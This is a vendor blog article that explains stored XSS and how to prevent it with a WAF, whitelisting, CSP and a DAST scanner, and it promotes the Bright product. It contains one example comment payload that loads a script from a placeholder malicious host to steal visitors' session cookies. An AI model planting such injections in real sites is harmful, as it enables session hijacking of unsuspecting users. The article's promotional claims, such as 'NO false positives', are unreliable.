What is Persistent (Stored) XSS
There are several types of cross site scripting (XSS) attacks to be concerned about, however the most dangerous XSS attack type is Persistent XSS, also known as stored XSS.
A Persistent XSS attack is possible when an attacker uses a vulnerable website or web application to inject malicious code which is stored and later automatically served to other users who visit the web page. It is because this input was not validated before storing and embedding content into HTML responses, that the application is vulnerable.
To understand other common XSS attacks and how they work, read our previous article: What is XSS? Impact, Types and Prevention
In this article:
Why is Persistent XSS Dangerous?
Persistent XSS is particularly dangerous because it targets websites that receive user content into their database. So forums, blogs with enabled comments, CRM / ERP Systems, web-based email servers or clients, or any other type of website where users can share their content.
If not dealt with properly, Persistent / Stored XSS attacks can have a devastating and continuing effect on your applications. Much like a pandemic – once it’s set up on the victim’s website, anyone who comes in contact with the website can be affected. The unassuming visitor does not need to click on a malicious link to run the payload (as is the case with Non-Persistent XSS). All they have to do is visit a vulnerable web page.
How Persistent XSS Attacks Work
The attack starts when an attacker steals the visitor’s session cookies. Say that you own a website that sells sports equipment. These eCommerce sites often have user reviews as an option where everyone can leave their review and post it on the website.
A malicious user could post a snippet of JavaScript code into your reviews section and submit the comment. For example, a comment could be something like:
“I loved the shoes! <script scr=’http://maliciouswebsite.com/maliciousscript.js’>”
In this scenario, any time a new visitor opens this product’s page, the malicious code activates and steals their session cookies. This could result in a substantial data leak that might enable the attacker to access the user’s personal and sensitive information, such as their credit card information.
As a reminder, the difference between reflected XSS and stored XSS is that the latter doesn’t require the user to click a malicious link – it automatically executes on the website without any suspicion from the users, meaning that the damage is so much greater as the amount of potential victims is so much bigger.
How to Prevent Persistent Cross-site Scripting
The best way to prevent your application being exploited by XSS attacks is to eliminate XSS vulnerabilities, by testing your websites and applications using a security vulnerability scanner like Bright, able to detect all types of XSS vulnerabilities, whether Reflected XSS, DOM-based XSS, or indeed Stored/Persistent XSS.
There are a few methods that you could use to prevent Persistent Cross-site Scripting, which include:
- WAF (web application firewall)
- Whitelisting
- CSP
WAF (Web Application Firewall)
Perhaps the most efficient way of preventing XSS attacks is a web application firewall (WAF). It’s the most popular for blocking persistent cross-site scripting as well as other malicious attacks.
WAF uses signature-based filtering which allows it to automatically identify and block malicious attempts before they can be executed, but note 100% success cannot be guaranteed, as evidenced by a multitude of breaches where WAFs were non-effective.
Whitelisting
Whitelisting is commonly used to prevent all sorts of malicious hacker attacks, and this case is no different. The point of whitelisting is for the developer to only allow certain characters and patterns that a user could input and send to the database.
If done correctly, whitelisting can be a long-term solution and is generally a better solution than blacklisting, which could result in some functionality issues in your web application, and is harder to maintain in general.
CSP (content security policy)
Content security policy is a highly-renowned method of blocking malicious scripts, especially for cases like stored XSS. CSP only allows you to run scripts from a specific domain. In the previous example of this article, the attack wouldn’t be possible if CSP was enabled as it would block execution of a script from a foreign source.
Dynamic Application Security Testing (DAST)
Using reactive solutions like a WAF will help you prevent Persistent XSS vulnerabilities being exploited, but is no guarantee. Proactive measures to ensure that your applications are not exploitable should be adopted, which includes regularly scanning your applications, ideally as part of your development pipeline, to detect and fix issues before they hit production. Dynamic Application Security Testing scanners test for a multitude of vulnerability types, including Stored XSS
While legacy DAST tools have the drawback of being implemented late in the development process or used by security teams on production, often too late, modern DAST tools like Bright have addressed this issue.
With Bright, you can detect a comprehensive list of security vulnerabilities, including Stored/Persistent XSS, Reflected XSS and Dom Based XSS, either as a standalone scanner or fully and seamlessly integrated into your development pipelines, with NO false positives. Developers can test every build / commit, so issues are found early and often, remediated sooner to reduce your exposure while also minimizing technical and security debt.
Sign up for a FREE account here to start scanning your web applications and APIs today
